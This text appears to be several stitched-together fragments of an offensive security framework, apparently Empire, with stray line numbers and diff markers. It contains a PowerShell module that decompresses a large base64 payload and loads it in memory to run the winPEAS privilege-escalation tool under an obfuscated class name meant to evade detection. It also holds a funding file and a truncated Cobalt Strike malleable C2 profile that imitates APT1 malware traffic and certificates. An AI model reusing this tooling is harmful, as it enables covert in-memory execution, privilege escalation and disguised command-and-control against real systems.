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"))
9 $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
10 $output = New-Object System.IO.MemoryStream
11 $decompressed.CopyTo( $output )
12 [byte[]] $byteOutArray = $output.ToArray()
13 $RAS = [System.Reflection.Assembly]::Load($byteOutArray)
1014
1115 $OldConsoleOut = [Console]::Out
1216 $StringWriter = New-Object IO.StringWriter
1317 [Console]::SetOut($StringWriter)
1418
15 [winPEAS.Program]::Main($Command.Split(" "))
19 [w1nP34S.Program]::Main($Command.Split(" "))
1620
1721 [Console]::SetOut($OldConsoleOut)
1822 $Results = $StringWriter.ToString()
1923 $Results
2024
21 }
25 }
0 # These are supported funding model platforms
1
2 github: [bc-security]
0 # APT1 VIRTUALLYTHERE SSL
1 #
2 # Reference: Mandiant's APT1 Report
3 # Digital Appendx F - SSL Certificates
4 # http://intelreport.mandiant.com/
5 #
6 # Author: @armitagehacker
7 set sample_name "APT1 Virtually There Malware";
8
9 # this is the certificate
10 https-certificate {
11 set C "US";
12 set ST "Some-State";
13 set O "www.virtuallythere.com";
14 set OU "new";
15 set CN "new";
16 }
17
18 # since *cough* presumably you're using an HTTPS Beacon...
19 http-get {
20 set uri "/zOMGAPT";
21
22 client {
23 metadata {
24 netbiosu;
25 parameter "tmp";
26 }
27 }
28
29 server {
30 header "Content-Type" "application/octet-stream";
31
32 output {
33 print;
34 }
35 }
36 }
37
38 http-post {
39 set uri "/BUYTHEAPTDETECTORNOW";
40
41 client {
